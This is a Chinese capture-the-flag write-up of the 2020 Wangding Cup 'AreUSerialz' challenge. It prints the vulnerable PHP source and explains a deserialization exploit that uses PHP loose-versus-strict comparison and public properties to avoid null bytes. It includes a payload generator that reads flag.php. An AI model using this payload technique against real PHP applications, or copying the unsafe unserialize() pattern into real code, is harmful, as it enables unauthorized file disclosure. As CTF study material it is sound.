[网鼎杯 2020 青龙组]AreUSerialz

知识点 强弱类型的比较
protect 序列化后会有%00*%00字符
反序列化

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}
?>

先找到几个关键点flag.php flag肯定在里面想办法读取出来 再就是
$$str = (string) $ _GET[‘str’];
if(is_valid($str)) {
$ obj = unserialize($str);
}想到了反序列化，同时发现了两个魔法函数__construct()和__destruct()一定要知道这两个函数在什么时候调用

 function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

construct 函数是在反序列化创建对象之前调用的会将op赋值为1，然后将Hello world!写入/tmp/tmpfile

当销毁对象之前会调用destruct()

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

这里会发现op在这里和字符2进行了强类型比较

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

 public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

这里发现read函数可以读取文件因此要想获取flag必须调用read()又发现process()判断过程op == “2” 使用的是弱类型比较 所以这里想到使op为整形2来绕过强类型比较op === “2” 同时还可以满足弱类型op == “2”
进入read函数便可以利用file_get_contents()读取flag.php内容拿到flag
这里附上payload构造代码

<?php
class FileHandler {
    public $op=2;
    public $filename='flag.php';
    public $content;
}
$b=new FileHandler();
$a=serialize($b);
echo urlencode($a);
?>

还有一个需要注意的地方是，$ op,$ filename,$content三个变量权限都是protected，而protected权限的变量在序列化的时会有%00*%00字符，%00字符的ASCII码为0，就无法通过上面的is_valid函数校验。

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

32-125是可打印字符的ascii范围

查看源码得到flag